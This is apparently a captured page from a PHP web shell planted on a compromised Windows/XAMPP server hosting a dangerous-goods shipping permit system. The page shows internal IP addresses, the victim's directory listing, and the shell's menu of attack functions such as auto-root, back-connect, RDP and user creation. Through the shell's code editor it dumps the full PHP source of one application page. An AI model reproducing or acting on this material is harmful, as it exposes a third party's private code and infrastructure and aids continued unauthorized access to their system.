Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
htdocs /
edgpens_220424 /
edg_o /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-rw-rw-
detail.php
29.21
KB
-rw-rw-rw-
detail_20210104.php
32.67
KB
-rw-rw-rw-
dg.php
42.25
KB
-rw-rw-rw-
dg_20200723.php
51.85
KB
-rw-rw-rw-
dg_20201219.php
50
KB
-rw-rw-rw-
isps_info-1.php
16.45
KB
-rw-rw-rw-
isps_info.php
12.93
KB
-rw-rw-rw-
isps_info_20200723.php
18.17
KB
-rw-rw-rw-
isps_infox.php
14.94
KB
-rw-rw-rw-
main.php
47.28
KB
-rw-rw-rw-
main_20201220.php
31.43
KB
-rw-rw-rw-
main_20201222.php
31.43
KB
-rw-rw-rw-
mainx.php
30.78
KB
-rw-rw-rw-
other_part.php
16.86
KB
-rw-rw-rw-
other_part_20200723.php
15.45
KB
-rw-rw-rw-
other_part_20201219.php
13.56
KB
-rw-rw-rw-
port_call.php
22.79
KB
-rw-rw-rw-
port_call_20200723.php
23.49
KB
-rw-rw-rw-
s_detail.php
23.79
KB
-rw-rw-rw-
s_info.php
28.24
KB
-rw-rw-rw-
s_main.php
14.64
KB
-rw-rw-rw-
s_upload_me.php
1.56
KB
-rw-rw-rw-
ship_particular.php
38
KB
-rw-rw-rw-
ship_particular_20200723.php
27.12
KB
-rw-rw-rw-
site.php
12.9
KB
-rw-rw-rw-
tabs.php
10.22
KB
-rw-rw-rw-
upload
5.32
KB
-rw-rw-rw-
upload.php
14.3
KB
-rw-rw-rw-
upload_20200723.php
14.23
KB
-rw-rw-rw-
upload_me.php
1.53
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dg_20200723.php
<?php if(empty($page)){ include("../access.php"); } ?> <?php $modal_name = str_replace("/", "-", $page); $user = get_user($_SESSION['session']); $ii = $_GET['ii']; $success = 0; $type_submit = "add"; $user = get_user_full($_SESSION['session']); $roles = (int)$user['idRoles']; $idUser = (int)$user['idUser']; if($roles == 1 || $roles == 5){ if(!empty($ii)){ if($roles == 1){ $query="SELECT * FROM permohonan_main WHERE idUserApply='{$idUser}'"; $result=$mysqli->query($query); $row=$result->fetch_assoc(); if(!$row){ echo "<script>window.location.replace('index.php?page=edg/main&np=edg/ship_particular');</script>"; exit(); } } } }else{ echo "<script>window.location.replace('index.php?page=edg/main');</script>"; exit(); } // exit(); if($_POST): $do = $_POST['type_submit']; // print_r($_POST); if($ii > 0){ if($do=="add"){ $sql = " INSERT INTO permohonan_dg ( idPermohonanMain, idKodDG, idOpsType, idPortLoading, idPortDischarging, flashPoint, comments, typeofdg ) VALUES ( ?, ?, ?, ?, ?, ?, ?, ? )"; $param_type = "ssssssss"; $param_data = array( "idPermohonanMain" => $ii, "idKodDG" => $_POST['idKodDG'], "idOpsType" => $_POST['idOpsType'], "idPortLoading" => $_POST['idPortLoading'], "idPortDischarging" => $_POST['idPortDischarging'], "flashPoint" => $_POST['flashPoint'], "comments" => $_POST['comments'], "typeofdg" => $_POST['typeofdg'] ); $data = mysqli_prepare_audit($sql,$param_type,$param_data); $success = 1; $msg = "RECORD ADDED!"; }else if($do=="add-package"){ $sql = " INSERT INTO permohonan_dg_package ( idPDG, CTUID, weight, idWeight, idCTUType, idPackingType, idDimension, CTUTeus, lorryETA, lorryPlateNo, lorryCompany ) VALUES ( ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ? )"; $param_type = "sssssssssss"; $param_data = array( "idPDG" => $_POST['val-id'], "CTUID" => $_POST['CTUID'], "weight" => $_POST['weight'], "idWeight" => $_POST['idWeight'], "idCTUType" => $_POST['idCTUType'], "idPackingType" => $_POST['idPackingType'], "idDimension" => $_POST['idDimension'], "CTUTeus" => $_POST['CTUTeus'], "lorryETA" => change_date($_POST['lorryETA'],'Y-m-d')." ".$_POST['lorryETA_time'], "lorryPlateNo" => $_POST['lorryPlateNo'], "lorryCompany" => $_POST['lorryCompany'] ); $data = mysqli_prepare_audit($sql,$param_type,$param_data); $success = 1; $msg = "RECORD ADDED!"; }else if($do=="add-stowage"){ $sql = " INSERT INTO permohonan_dg_bulk ( idPDG, holdNumber, weight, idWeight, lorryETA, lorryPlateNo, lorryCompany ) VALUES ( ?, ?, ?, ?, ?, ?, ? )"; $param_type = "sssssss"; $param_data = array( "idPDG" => $_POST['val-id'], "holdNumber" => $_POST['holdNumber'], "weight" => $_POST['weight'], "idWeight" => $_POST['idWeight'], "lorryETA" => change_date($_POST['lorryETA'],'Y-m-d')." ".$_POST['lorryETA_time'], "lorryPlateNo" => $_POST['lorryPlateNo'], "lorryCompany" => $_POST['lorryCompany'] ); $data = mysqli_prepare_audit($sql,$param_type,$param_data); $success = 1; $msg = "RECORD ADDED!"; }else if($do=="edit"){ $sql = " UPDATE permohonan_dg SET idKodDG = ?, idOpsType = ?, idPortLoading = ?, idPortDischarging = ?, flashPoint = ?, comments = ?, typeofdg = ? WHERE idPDG = ?"; $param_type = "ssssssss"; $param_data = array( "idKodDG" => $_POST['idKodDG'], "idOpsType" => $_POST['idOpsType'], "idPortLoading" => $_POST['idPortLoading'], "idPortDischarging" => $_POST['idPortDischarging'], "flashPoint" => $_POST['flashPoint'], "comments" => $_POST['comments'], "typeofdg" => $_POST['typeofdg'], "idPDG" => $_POST['val-id'] ); $data = mysqli_prepare_audit($sql,$param_type,$param_data); $success = 1; $msg = "RECORD UPDATED!"; }else if($do=="edit-package"){ $sql = " UPDATE permohonan_dg_package SET CTUID = ?, weight = ?, idWeight = ?, idCTUType = ?, idPackingType = ?, idDimension = ?, CTUTeus = ?, lorryETA = ?, lorryPlateNo = ?, lorryCompany = ? WHERE idDGPackage = ?"; $param_type = "sssssssssss"; $param_data = array( "CTUID" => $_POST['CTUID'], "weight" => $_POST['weight'], "idWeight" => $_POST['idWeight'], "idCTUType" => $_POST['idCTUType'], "idPackingType" => $_POST['idPackingType'], "idDimension" => $_POST['idDimension'], "CTUTeus" => $_POST['CTUTeus'], "lorryETA" => change_date($_POST['lorryETA'],'Y-m-d')." ".$_POST['lorryETA_time'], "lorryPlateNo" => $_POST['lorryPlateNo'], "lorryCompany" => $_POST['lorryCompany'], "idDGPackage" => $_POST['val-id'] ); $data = mysqli_prepare_audit($sql,$param_type,$param_data); $success = 1; $msg = "RECORD UPDATED!"; }else if($do=="edit-stowage"){ $sql = " UPDATE permohonan_dg_bulk SET holdNumber = ?, weight = ?, idWeight = ?, lorryETA = ?, lorryPlateNo = ?, lorryCompany = ? WHERE idDGBulk = ?"; $param_type = "sssssss"; $param_data = array( "holdNumber" => $_POST['holdNumber'], "weight" => $_POST['weight'], "idWeight" => $_POST['idWeight'], "lorryETA" => change_date($_POST['lorryETA'],'Y-m-d')." ".$_POST['lorryETA_time'], "lorryPlateNo" => $_POST['lorryPlateNo'], "lorryCompany" => $_POST['lorryCompany'], "idDGBulk" => $_POST['val-id'] ); $data = mysqli_prepare_audit($sql,$param_type,$param_data); $success = 1; $msg = "RECORD UPDATED!"; }else if($do=="delete"){ foreach($_POST['myid'] as $value){ $sql = "DELETE FROM permohonan_dg WHERE idPDG=?"; $param_type = "s"; $param_data = array( "idPDG" => $value ); $data = mysqli_prepare_audit($sql,$param_type,$param_data); } $success = 3; $msg = "RECORD DELETED!"; }else if($do=="delete-package"){ foreach($_POST['myid2'] as $value){ $sql = "DELETE FROM permohonan_dg_package WHERE idDGPackage=?"; $param_type = "s"; $param_data = array( "idDGPackage" => $value ); $data = mysqli_prepare_audit($sql,$param_type,$param_data); } $success = 3; $msg = "RECORD DELETED!"; }else if($do=="submit_me"){ $sql = "UPDATE permohonan_main SET submit = 'Y', idApproveMFSO = 0, commentsMFSO = '', flagApproveMFSO = 'N', idApproveDG = 0, commentsDG = '', flagApproveDG = 'N', idApproveMTSO = 0, commentsMTSO = '', flagApproveMTSO = 'N' WHERE idPermohonan = ?"; $param_type = "s"; $param_data = array( "idPermohonan" => $ii ); $data = mysqli_prepare_audit($sql,$param_type,$param_data); } } if($success == 1){ $_SESSION['success'] = 1; $_SESSION['success_msg'] = $msg; }else if($success == 2){ $_SESSION['success'] = 2; $_SESSION['success_msg'] = "OPS! SOMETHING WRONG"; }else if($success == 3){ $_SESSION['success'] = 3; $_SESSION['success_msg'] = $msg; } endif; if($success){ if($do=="submit_me") echo "<script>window.location.replace('index.php?page=edg/main&np=edg/dg&ii={$ii}');</script>"; else echo "<script>window.location.replace('index.php?page=edg/main&np=edg/dg&ii={$ii}&success={$success}');</script>"; exit(); } if($_GET['ii'] > 0){ $stmt = $mysqli->stmt_init(); $stmt->prepare("SELECT a.idPermohonan, a.idApproveMFSO, a.idApproveDG, a.idApproveMTSO, a.commentsMFSO, a.commentsDG, a.commentsMTSO, a.submit FROM permohonan_main a WHERE a.idPermohonan=? "); $stmt->bind_param("s",$permohonan_main = $ii); $stmt->execute(); if ($stmt->error) print_r('error executing statement: ' . $stmt->error); $result = $stmt->get_result(); $stmt->close(); $row=$result->fetch_assoc(); $idApproveMFSO = $row['idApproveMFSO']; $idApproveDG = $row['idApproveDG']; $idApproveMTSO = $row['idApproveMTSO']; $commentsMFSO = $row['commentsMFSO']; $commentsDG = $row['commentsDG']; $commentsMTSO = $row['commentsMTSO']; $submit = $row['submit']; $stmt = $mysqli->stmt_init(); $stmt->prepare("SELECT a.idPDG, a.idPermohonanMain, a.idKodDG, a.idOpsType, a.idPortLoading, a.idPortDischarging, a.flashPoint, a.comments, a.typeofdg, b.nama AS nama_operation, c.UNNumber, c.IMOClass, c.nama AS nama_dg, c.KPAGroup, c.properties, d.nama AS port_loading, e.nama AS port_discharge FROM permohonan_dg a LEFT JOIN kod_operation_type b ON b.idOpsType = a.idOpsType LEFT JOIN kod_dg c ON c.idKodDG = a.idKodDG LEFT JOIN kod_pelabuhan d ON d.idPelabuhan = a.idPortLoading LEFT JOIN kod_pelabuhan e ON e.idPelabuhan = a.idPortDischarging WHERE a.idPermohonanMain=? "); $stmt->bind_param("s",$permohonan_main = $ii); $stmt->execute(); if ($stmt->error) print_r('error executing statement: ' . $stmt->error); $result2 = $stmt->get_result(); $stmt->close(); $session = array(); // $rowx=$result2->fetch_assoc(); // print_r($result2->num_rows); $isps = ""; $isps_href = "index.php?page=edg/main&np=edg/isps_info&ii={$ii}"; if($result2->num_rows){ $dis_next = ""; $other = ""; $other_href = "index.php?page=edg/main&np=edg/other_part&ii={$ii}"; }else{ $dis_next = "disabled"; $other = "disabled"; $other_href = "javascript:void(0)"; } $particular = "disabled"; $particular = "javascript:void(0)"; if(!$row){ echo "<script>window.location.replace('index.php?page=edg/main&np=edg/ship_particular');</script>"; exit(); } }else{ echo "<script>window.location.replace('index.php?page=edg/main&np=edg/ship_particular');</script>"; exit(); } ?> <!-- Blank Header --> <div class="content-header"> <div class="row"> <div class="col-sm-6"> <div class="header-section"> <!-- <h1>NEW APPLICATION</h1> --> <h1> <ol class="breadcrumb" style="padding:0px; margin: 0px"> <li><a href="index.php?page=edg/main" style="color:black"><i class="fa fa-home"></i></a></li> <li><a href="javascript:void(0)" style="color:black">NEW APPLICATION</a></li> </ol> </h1> </div> </div> <div class="col-sm-6 hidden-xs"> <div class="header-section"> <!-- <ul class="breadcrumb breadcrumb-top"> --> <!-- <li>Extra Pages</li> --> <!-- <li><a href="">Blank</a></li> --> <!-- </ul> --> </div> </div> </div> </div> <!-- END Blank Header --> <!-- Get Started Block --> <div class="block full"> <?php if(($idApproveMFSO != 0 OR $idApproveDG != 0 OR $idApproveMTSO != 0) AND $submit == 'T'){ ?> <div class="alert alert-warning alert-dismissable"> <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button> <h4><strong>APPLICATION REJECTED / NEED TO SUBMIT AGAIN</strong></h4> <p>COMMENTS :- </p> <p>~ MFSO : <?php echo nl2br($commentsMFSO);?></p> <p>~ DG : <?php echo nl2br($commentsDG);?></p> <p>~ MTSO : <?php echo nl2br($commentsMTSO);?></p> </div> <?php }?> <!-- Get Started Title --> <div class="block-section"> <form class="submit_me" action="index.php?page=edg/main&np=edg/dg&ii=<?php echo $ii;?>" method="post"> <ul class="nav nav-pills nav-justified"> <li class=""><a href="index.php?page=edg/main&np=edg/ship_particular&ii=<?php echo $ii; ?>">Ship Particular</a></li> <li class=""><a href="index.php?page=edg/main&np=edg/isps_info&ii=<?php echo $ii; ?>">ISPS Information</a></li> <li class=""><a href="index.php?page=edg/main&np=edg/port_call&ii=<?php echo $ii; ?>">Last 10 Port Calls</a></li> <li class=""><a href="javascript:void(0)">Other Particular</a></li> <li class=""><a href="index.php?page=edg/main&np=edg/upload&ii=<?php echo $ii; ?>">File Upload</a></li> <li class="active"><a href="index.php?page=edg/main&np=edg/dg&ii=<?php echo $ii; ?>">Dangerous Goods</a></li> <?php if($ii > 0){ ?> <li class=""><a href="javascript:void(0)" class="a_me btn btn-success btn-sm submit_form"><i class="fa fa-paper-plane-o"></i> SUBMIT APPLICATION</a></li> <?php }else{ ?> <li class=""><a href="javascript:void(0)" class="disabled btn btn-success btn-sm submit_form"><i class="fa fa-paper-plane-o"></i> SUBMIT APPLICATION</a></li> <?php } ?> </ul> <input type="hidden" name="type_submit" value="submit_me"> </form> </div> <div class="block full"> <center> <div class="btn-group"> <a class="btn btn-warning" href="index.php?page=edg/main&np=edg/upload&ii=<?php echo $ii;?>"><i class="fa fa-chevron-left"></i></a> <a class="btn btn-primary disabled" href="index.php?page=edg/main">Submit</a> <a class="btn btn-warning disabled" ><i class="fa fa-chevron-right"></i></a> </div> </center> <hr> <div id="modal-form" class="modal fade <?php echo $modal_name;?>" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog modal-md"> <div class="modal-content"> <form class="push form-horizontal" id="form-validation" action="index.php?page=edg/main&np=edg/dg&ii=<?php echo $ii;?>" method="post"> <!-- if delete. check post name delete --> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true"><span aria-hidden="true">×</span></button> <h4 class="modal-title"><strong>PORT CALL</strong></h4> </div> <div class="modal-body"><!-- modal-body --> <div class="form-group"> <label class="col-md-3 control-label" for="idKodDG">Proper Shipping Name <span class="text-danger">*</span></label> <div class="col-md-7"> <?php $sqlx = "SELECT * FROM kod_dg WHERE flagAktif = 'Y' ORDER BY nama"; $rstx = $mysqli->query($sqlx) or die(mysqli_error($mysqli)); ?> <select class="form-control select-select2 validation" data-validation="default" name="idKodDG" id="idKodDG"> <option value="">-- Please select --</option> <?php while($aa = $rstx->fetch_assoc()){ ?> <option value="<?php echo $aa['idKodDG']; ?>" <?php if($aa['idKodDG'] == $idKodDG){ echo "selected='selected'";} ?> ><?php echo $aa['nama']; ?></option> <?php }?> </select> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="idOpsType">Operation Type</label> <div class="col-md-7"> <?php $sqlx = "SELECT * FROM kod_operation_type WHERE flagAktif = 'Y' ORDER BY nama"; $rstx = $mysqli->query($sqlx) or die(mysqli_error($mysqli)); ?> <select class="form-control select-select2 select2_custom" name="idOpsType" id="idOpsType"> <option value="">-- Not Defined --</option> <?php while($aa = $rstx->fetch_assoc()){ ?> <option value="<?php echo $aa['idOpsType']; ?>" <?php if($aa['idOpsType'] == $idOpsType){ echo "selected='selected'";} ?> ><?php echo $aa['nama']; ?></option> <?php }?> </select> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="idPortLoading">Port of Loading <span class="text-danger">*</span></label> <div class="col-md-7"> <?php $sqlx = "SELECT * FROM kod_pelabuhan WHERE flagAktif = 'Y' AND flagApprove = 'Y' ORDER BY nama"; $rstx = $mysqli->query($sqlx) or die(mysqli_error($mysqli)); ?> <select class="form-control select-select2 validation" data-validation="default" name="idPortLoading" id="idPortLoading"> <option value="">-- Please select --</option> <?php while($aa = $rstx->fetch_assoc()){ ?> <option value="<?php echo $aa['idPelabuhan']; ?>" <?php if($aa['idPelabuhan'] == $idPortLoading){ echo "selected='selected'";} ?> ><?php echo $aa['nama']; ?></option> <?php }?> </select> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="idPortDischarging">Port of Discharging <span class="text-danger">*</span></label> <div class="col-md-7"> <?php $sqlx = "SELECT * FROM kod_pelabuhan WHERE flagAktif = 'Y' AND flagApprove = 'Y' ORDER BY nama"; $rstx = $mysqli->query($sqlx) or die(mysqli_error($mysqli)); ?> <select class="form-control select-select2 validation" data-validation="default" name="idPortDischarging" id="idPortDischarging"> <option value="">-- Please select --</option> <?php while($aa = $rstx->fetch_assoc()){ ?> <option value="<?php echo $aa['idPelabuhan']; ?>" <?php if($aa['idPelabuhan'] == $idPortDischarging){ echo "selected='selected'";} ?> ><?php echo $aa['nama']; ?></option> <?php }?> </select> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="flashPoint">Flash Point <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="text" id="flashPoint" name="flashPoint" class="form-control validation" data-validation="default"> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="comments">Comments <span class="text-danger">*</span></label> <div class="col-md-7"> <textarea class="form-control validation" data-validation="default" id="comments" name="comments"></textarea> </div> </div> <hr> <div class="form-group"> <label class="col-md-3 control-label">Please Select Either One <span class="text-danger">*</span></label> <div class="col-md-7"> <div class="radio"> <label for="security1"> <input class="not_autoset default_radio" data-validation="default" type="radio" id="typeofdg1" name="typeofdg" value="1"> Package </label> </div> <div class="radio"> <label for="security2"> <input class="not_autoset" data-validation="default" type="radio" id="typeofdg2" name="typeofdg" value="2"> Precise Stowage </label> </div> </div> </div> </div><!-- [end] modal-body --> <input type="hidden" name="type_submit" value="add"> <input type="hidden" name="val-id" value=""> <div class="modal-footer"> <!-- <h4 class="pull-left">$ <strong class="text-primary-dark">689</strong><small>.00</small></h4> --> <button type="submit" class="btn btn-effect-ripple btn-primary">Submit</button> <button type="button" class="btn btn-effect-ripple btn-danger" data-dismiss="modal">Close</button> </div> </form> </div> </div> </div> <div id="modal-stowage" class="modal fade modal-stowage" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog modal-md"> <div class="modal-content"> <form class="push form-horizontal" id="form-stowage" action="index.php?page=edg/main&np=edg/dg&ii=<?php echo $ii;?>" method="post"> <!-- if delete. check post name delete --> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true"><span aria-hidden="true">×</span></button> <h4 class="modal-title"><strong>PORT CALL</strong></h4> </div> <div class="modal-body"><!-- modal-body --> <div class="form-group"> <label class="col-md-3 control-label" for="holdNumber">Tanks @ Cargo Hold Number <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="text" id="holdNumber" name="holdNumber" class="form-control validation" data-validation="default"> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="weight">Weight <span class="text-danger">*</span></label> <div class="col-md-7"> <div class="input-group"> <input type="text" id="weight" name="weight" class="form-control validation" data-validation="default"> <span class="input-group-addon">Units</span> <?php $sqlx = "SELECT * FROM kod_weight WHERE flagAktif = 'Y' ORDER BY nama"; $rstx = $mysqli->query($sqlx) or die(mysqli_error($mysqli)); ?> <select class="form-control select-sdelect2 validation" data-validation="default" name="idWeight" id="idWeight"> <option value="">---</option> <?php while($aa = $rstx->fetch_assoc()){ ?> <option value="<?php echo $aa['idWeight']; ?>" ><?php echo $aa['nama']; ?></option> <?php }?> </select> </div> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="lorryETA">Lorry ETA <span class="text-danger">*</span></label> <!-- <div class="col-md-7"> --> <div class="col-md-4"> <input type="text" id="lorryETA" name="lorryETA" class="form-control validation input-datepicker" data-validation="default" data-date-format="dd-mm-yyyy" placeholder="dd-mm-yyyy"> </div> <div class="col-md-3"> <div class="input-group bootstrap-timepicker"> <input type="text" id="lorryETA_time" name="lorryETA_time" value="" class="form-control input-timepicker24" placeholder="24Hour"> <span class="input-group-btn"> <a href="javascript:void(0)" class="btn btn-effect-ripple btn-primary" style="overflow: hidden; position: relative;"><span class="btn-ripple animate" style="height: 38px; width: 38px; top: -6.10001px; left: 7.18335px;"></span><i class="fa fa-clock-o"></i></a> </span> </div> </div> <!-- </div> --> </div> <div class="form-group"> <label class="col-md-3 control-label" for="lorryPlateNo">Lorry Plate No <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="text" id="lorryPlateNo" name="lorryPlateNo" class="form-control validation" data-validation="default"> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="lorryCompany">Lorry Company <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="text" id="lorryCompany" name="lorryCompany" class="form-control validation" data-validation="default"> </div> </div> </div><!-- [end] modal-body --> <input type="hidden" name="type_submit" value="add"> <input type="hidden" name="val-id" value=""> <div class="modal-footer"> <!-- <h4 class="pull-left">$ <strong class="text-primary-dark">689</strong><small>.00</small></h4> --> <button type="submit" class="btn btn-effect-ripple btn-primary">Submit</button> <button type="button" class="btn btn-effect-ripple btn-danger" data-dismiss="modal">Close</button> </div> </form> </div> </div> </div> <div id="modal-package" class="modal fade modal-package" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog modal-md"> <div class="modal-content"> <form class="push form-horizontal" id="form-package" action="index.php?page=edg/main&np=edg/dg&ii=<?php echo $ii;?>" method="post"> <!-- if delete. check post name delete --> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true"><span aria-hidden="true">×</span></button> <h4 class="modal-title"><strong>PORT CALL</strong></h4> </div> <div class="modal-body"><!-- modal-body --> <div class="form-group"> <label class="col-md-3 control-label" for="CTUID">CTU ID <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="text" id="CTUID" name="CTUID" class="form-control validation" data-validation="default"> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="weight">Weight <span class="text-danger">*</span></label> <div class="col-md-7"> <div class="input-group"> <input type="text" id="weight" name="weight" class="form-control validation" data-validation="default"> <span class="input-group-addon">Units</span> <?php $sqlx = "SELECT * FROM kod_weight WHERE flagAktif = 'Y' ORDER BY nama"; $rstx = $mysqli->query($sqlx) or die(mysqli_error($mysqli)); ?> <select class="form-control select-sdelect2 validation" data-validation="default" name="idWeight" id="idWeight"> <option value="">---</option> <?php while($aa = $rstx->fetch_assoc()){ ?> <option value="<?php echo $aa['idWeight']; ?>" ><?php echo $aa['nama']; ?></option> <?php }?> </select> </div> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="idCTUType">CTU Type<span class="text-danger">*</span></label> <div class="col-md-7"> <?php $sqlx = "SELECT * FROM kod_ctu_type WHERE flagAktif = 'Y' ORDER BY nama"; $rstx = $mysqli->query($sqlx) or die(mysqli_error($mysqli)); ?> <select class="form-control select-select2 validation" data-validation="default" name="idCTUType" id="idCTUType"> <option value="">-- Please select --</option> <?php while($aa = $rstx->fetch_assoc()){ ?> <option value="<?php echo $aa['idCTUType']; ?>" ><?php echo $aa['nama']; ?></option> <?php }?> </select> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="idPackingType">Packing Type</label> <div class="col-md-7"> <?php $sqlx = "SELECT * FROM kod_packing_type WHERE flagAktif = 'Y' ORDER BY nama"; $rstx = $mysqli->query($sqlx) or die(mysqli_error($mysqli)); ?> <select class="form-control select-select2 select2_custom" name="idPackingType" id="idPackingType"> <option value="">-- Not Defined --</option> <?php while($aa = $rstx->fetch_assoc()){ ?> <option value="<?php echo $aa['idPackingType']; ?>" ><?php echo $aa['nama']; ?></option> <?php }?> </select> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="idDimension">Dimension <span class="text-danger">*</span></label> <div class="col-md-7"> <?php $sqlx = "SELECT * FROM kod_dimension WHERE flagAktif = 'Y' ORDER BY nama"; $rstx = $mysqli->query($sqlx) or die(mysqli_error($mysqli)); ?> <select class="form-control select-select2 validation" data-validation="default" name="idDimension" id="idDimension"> <option value="">-- Please select --</option> <?php while($aa = $rstx->fetch_assoc()){ ?> <option value="<?php echo $aa['idDimension']; ?>" ><?php echo $aa['nama']; ?></option> <?php }?> </select> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="CTUTeus">CTUTeus <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="text" id="CTUTeus" name="CTUTeus" class="form-control validation" data-validation="default"> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="lorryETA">Lorry ETA <span class="text-danger">*</span></label> <!-- <div class="col-md-7"> --> <div class="col-md-4"> <input type="text" id="lorryETA" name="lorryETA" class="form-control validation input-datepicker" data-validation="default" data-date-format="dd-mm-yyyy" placeholder="dd-mm-yyyy"> </div> <div class="col-md-3"> <div class="input-group bootstrap-timepicker"> <input type="text" id="lorryETA_time" name="lorryETA_time" value="" class="form-control input-timepicker24" placeholder="24Hour"> <span class="input-group-btn"> <a href="javascript:void(0)" class="btn btn-effect-ripple btn-primary" style="overflow: hidden; position: relative;"><span class="btn-ripple animate" style="height: 38px; width: 38px; top: -6.10001px; left: 7.18335px;"></span><i class="fa fa-clock-o"></i></a> </span> </div> </div> <!-- </div> --> </div> <div class="form-group"> <label class="col-md-3 control-label" for="lorryPlateNo">Lorry Plate No <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="text" id="lorryPlateNo" name="lorryPlateNo" class="form-control validation" data-validation="default"> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="lorryCompany">Lorry Company <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="text" id="lorryCompany" name="lorryCompany" class="form-control validation" data-validation="default"> </div> </div> </div><!-- [end] modal-body --> <input type="hidden" name="type_submit" value="add"> <input type="hidden" name="val-id" value=""> <div class="modal-footer"> <!-- <h4 class="pull-left">$ <strong class="text-primary-dark">689</strong><small>.00</small></h4> --> <button type="submit" class="btn btn-effect-ripple btn-primary">Submit</button> <button type="button" class="btn btn-effect-ripple btn-danger" data-dismiss="modal">Close</button> </div> </form> </div> </div> </div> <div class="table-responsive"> <form method="post" data-modal-target="<?php echo $modal_name;?>"> <input name="type_submit" type="hidden" value="delete"> <table id="example-datatable" class="table table-striped table-bordered table-condensed table-vcenter table-hover"> <thead> <tr> <th class="no_sorting" style="width: 30px;" class="text-center"><label class="csscheckbox csscheckbox-primary"><input type="checkbox"><span></span></label></th> <th class="text-center no_sorting" style="width: 30px;">NO</th> <th class="text-left">Dangerous of Goods</th> <th class="text-center no_sorting" style="width: 40px;"><i class="fa fa-flash"></i></th> </tr> </thead> <tbody> <?php $i=1; while($aa = $result2->fetch_assoc()){ $editdata = "idKodDG#{$aa['idKodDG']}|" ."idOpsType#{$aa['idOpsType']}|" ."idPortLoading#{$aa['idPortLoading']}|" ."idPortDischarging#{$aa['idPortDischarging']}|" ."flashPoint#{$aa['flashPoint']}|" ."comments#{$aa['comments']}|" ."typeofdg#{$aa['typeofdg']}|" ."val-id#{$aa['idPDG']}"; $typebtn = ($aa['typeofdg'] == 1) ? "Add Package Form" : "Add Precise Stowage" ; if($aa['typeofdg'] == 1 ): $stmt = $mysqli->stmt_init(); $stmt->prepare("SELECT a.idDGPackage, a.idPDG, a.CTUID, a.weight, a.idWeight, a.idCTUType, a.idPackingType, a.idDimension, a.CTUTeus, DATE_FORMAT(a.lorryETA,'%d-%m-%Y') AS lorryETA, DATE_FORMAT(a.lorryETA,'%H:%i:%s') AS lorryETA_time, a.lorryPlateNo, a.lorryCompany, b.nama AS nama_weight, c.nama AS nama_ctu_type, d.nama AS nama_packing, e.nama AS nama_dimension FROM permohonan_dg_package a LEFT JOIN kod_weight b ON b.idWeight = a.idWeight LEFT JOIN kod_ctu_type c ON c.idCTUType = a.idCTUType LEFT JOIN kod_packing_type d ON d.idPackingType = a.idPackingType LEFT JOIN kod_dimension e ON e.idDimension = a.idDimension WHERE a.idPDG=? "); $stmt->bind_param("s",$permohonan_main = $aa['idPDG']); $stmt->execute(); if ($stmt->error) print_r('error executing statement: ' . $stmt->error); $result3 = $stmt->get_result(); $stmt->close(); else: $stmt = $mysqli->stmt_init(); $stmt->prepare("SELECT a.idDGBulk, a.idPDG, a.holdNumber, a.weight, a.idWeight, DATE_FORMAT(a.lorryETA,'%d-%m-%Y') AS lorryETA, DATE_FORMAT(a.lorryETA,'%H:%i:%s') AS lorryETA_time, a.lorryPlateNo, a.lorryCompany, b.nama AS nama_weight FROM permohonan_dg_bulk a LEFT JOIN kod_weight b ON b.idWeight = a.idWeight WHERE a.idPDG=? "); $stmt->bind_param("s",$permohonan_main = $aa['idPDG']); $stmt->execute(); if ($stmt->error) print_r('error executing statement: ' . $stmt->error); $result3 = $stmt->get_result(); $stmt->close(); endif; ?> <tr> <td class="text-center align-top"><label class="csscheckbox csscheckbox-primary"><input type="checkbox" name="myid[]" value="<?php echo $aa['idPDG'];?>"><span></span></label></td> <td class="text-center align-top"><?php echo $i++; ?></td> <td style="padding: 5px;background: grey"> <table class="table table-bordered table-striped" width="100%" style="margin:0px"> <tr> <td width="50%"> <span class="text-primary text-table-1"> Proper Name </span> </td> <td width="50%"> <span class="text-primary text-table-1"> Operation Type </span> </td> </tr> <tr> <td> <?php echo change_blank($aa['nama_dg'],"-"); ?> </td> <td> <?php echo change_blank($aa['nama_operation'],"-"); ?> </td> </tr> <tr> <td> <span class="text-primary text-table-1"> 